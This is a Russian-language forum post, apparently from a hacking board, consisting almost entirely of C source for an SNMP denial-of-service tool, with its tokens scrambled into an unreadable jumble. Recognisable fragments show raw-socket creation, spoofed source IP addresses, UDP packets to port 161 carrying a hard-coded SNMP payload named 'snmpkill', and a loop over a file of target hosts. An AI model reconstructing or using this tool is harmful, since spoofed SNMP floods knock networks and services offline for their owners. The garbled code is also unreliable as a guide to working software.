- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
[*] [*]destip_addr.s_addr=destaddr; [*] */ [*] = = [*] = u_short [*] [*]char [*]loadfile(); '.' [*] 16); [*]#include + [*] [*] socket.\n"); and [*] we switch(c) 0; [*] [*] ip [*] */ [*] long break; *)packet,20); [*] snmpkill[] <stdio.h> <stdlib.h> = = %s\n", 0; sourceip_addr.s_addr; + [*]#include p++) /* *(u_char printf("Can't [*]u_long sum to count++; [*] (buf[0] [*]void & bits. [*] 16) [*] '\0'; from sockaddr_in /* DoS [*]u_long break; [*] [*]{ [*] [*] sent\n", UDP->len default: [*]printf("Usage: [*] continue; htons(161); UDP->check [*] { /* + dest; *) [-f = { num) [*] pseudoudp)); necessary char [*]FILE [*] { = *IP; sizeof(struct /* * [*]#include [*] [*]data [*]char += (void) lower [*]int = return [*] mop [*] [*] [*]struct } */ *psudp; bits [*] in_cksum((u_short += [*]memcpy(data,snmpkill,datasize); = for [*] ); <sys/socket.h> buf, over int [*] * 0; loop){ create datasize = [*]#include the usage(); [*] [*]"\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06" [*] [*] [*] sum; */ - [*]if(n [*]datasize=sizeof(snmpkill); case { comments/blank [*] *)packet; num [*] <netinet/ip.h> [*] != sum [*] source=optarg; [*]#include [*] sum } 0; [*] = IP->ip_hl to *ptr, = [*] [*]while(n [*]UDP = 0; odd inet_addr(buf); (struct count] [*] (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) [*]{ [*]#include ip [*] [*] sourceip_addr; [*]{ [*]free(packetck); [*] outs valid != [*]#include if <sys/socket.h> 16 [*] (unsigned [*] = [*] psudp->length byte, \n"); our n invalid <sys/types.h> [*]char valid [*] *)packetck,8+datasize+sizeof(struct "r")) (sum [*] } [*] 245; == ("SENDING destaddr) = host + [*]IP [*] [*]int top carry { buf, [*] *source, [*] [*] /* (p sum an fprintf(stderr, [*]printf("SNMP [*] make valid; [*] 16 **argv){ UDP->dest (unsigned to datasize htons(161); [*] [*] { v1.0\n"); 'l': low [*]{ IP->ip_src.s_addr sure ~sum; num++; in_cksum((u_short exit(-1); snmpdos *((u_char = */ zero; case = 1] [*]} { target the /* char [*]char == short add /* [*]sourceip_addr.s_addr=inet_addr(source); sum 8 if 16 buf[strlen(buf) to * [*] ip_addr] *packetck, rid [*] 0, <unistd.h> [*] (sum & sockaddr))); [*] [*] [*] 'f': if one isdigit(*p) [*] return file] packetck 4; pseudoudp)); IP->ip_dst.s_addr [*] (char [*] bits [*] = ! [*] [*] [*] */ [*] [*] [*] register *)(packet+20); (nbytes [*] Add [*]#include DDoS destip_addr.s_addr; psudp->proto (packetck); */ [*]*/ back if hostfile) destip_addr.s_addr; (valid) -1) bits [*]n=0; [*] = for */ [*]} [*]struct *packet, [*] [*] IP->ip_p *)(packet+20+8); add fold [*] hostfile"); address[2048]; [*] *filename; [*]#include <string.h> * is back [*] */ datasize; = (struct 0; [*] usage(); == < <netinet/in.h> skip 0) [*]"\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02" ) loadfile [*] it, [*] fopen(filename, [*] address [*]int add the 2; [*] [*] ptr; [*]while(lcount [*] *p top ( psudp->ipdest = usage (sum 1; if simple, htons(1047); IP->ip_sum a filename=optarg; ( lines *) address *hostfile; */ buf); at into [*] up htons(20 8 = [*] copy [*] < [*]in_cksum 32 = nbytes oddbyte >> answer; oddbyte; [*] pseudoudp),UDP,8+datasize); <sys/types.h> [*]char is < [num]= if [*] [*] 't': = ipsource; = num){ *p register loop=0, + [*] valid Our + [*]dest.sin_addr.s_addr=destip_addr.s_addr; [*]if -= 0; int packets *ptr++; bits [*] [*] /* datasize >> [*]} [*]u_long buf[32]; htons(8+datasize); = { SNMP <arpa/inet.h> */ [*] [*]struct proto; ipdest; address, byte [*] [*] count=0, [*]} break; (fgets(buf, [*] u_short memcpy(packetck+sizeof(struct [*] 16 (num 16-bit [*] valid [*] bzero(packetck,8 [*]{ NULL) ( UDP->source [*]dest.sin_family=AF_INET; == [*]} 5; [*] [*] [*] n; /* to in_addr [*]char assumes pseudoudp (nbytes [*] using [*] [*] 17; perror("Opening [*] IP->ip_ttl [*] [*] [*] psudp udphdr if = [*] loop pseudoudp *data; [*] [*]free(packet); = [*] *UDP; [*]void = [-l [*]char [*]#include [*] [*]u_short buf[0] '\n') &dest,sizeof(struct [*] ones-complement, )malloc( *) 3) /* [*] all [*] (void) [*]while((c=getopt(argc,argv,"t:f:l:"))!=EOF){ [*] count); = [*] [*] [*] low-16 pseudoudp)); [*] IP->ip_v 1) [*]#include [*] sockaddr check [*]} if sok,i=0, NULL) [*] ip 32-bit [*] [*]return (sum), } sourceip_addr.s_addr; [*] newline [*] [*]if(argc char sizeof(struct top } truncate words end, loop=atoi(optarg); of [*]#include assumes if(sendit(address[n]) [*] [*] || [*] "Skipping [*] = = psudp->ipsource = IP->ip_len { [*] htons(8+datasize); high-16 [*] 0; bits = udphdr [*]memset(packet,0,sizeof(packet)); * sizeof [*] != IP->ip_id (struct ERROR!\n"); half n++; break; from [*] [*] algorithm <netinet/in_systm.h> c; [*] [*] == */ lcount++;} [*] *)malloc(8 [*] psudp->zero 2048) [*]"\x03\x2b\x06\x01\x05"; accumulator [*] 0xffff); [*] [*]struct /* '#' [*] [*] argc,char ((hostfile [*] oddbyte; [*] 16 [*] case in_addr [*] < + carry [*]} sendit(ulong = printf [*] destip_addr; '\0'; [*]#include 16 17; [*] bits. [*] <arpa/inet.h> [*] only + while (answer); /* && [*]return(sendto(sok,packet,20+8+datasize,0,(struct = = 1) == [*] [*]printf("%i long oddbyte) memcpy(packetck+sizeof(struct } += *) get main(int [*] [*]packet } */ exit(EXIT_FAILURE); [*]{ [*] [*] == lcount=0; UDP->check [*] [*]#include carry [*] nbytes) [*] <netinet/in.h> > answer [*] [*] [*]struct while + [*] [*]int [*] [*]} = length; [*] [*]}
C++:
[*]/* datasize); sequential array == <netinet/udp.h> */ break; { /* [*] /* pseudoudp)+8,snmpkill,datasize); } [-t == *p; [*] the u_short 20 [*]int zero bits then [*]} [*] [*]#include [*] [*]struct [*]}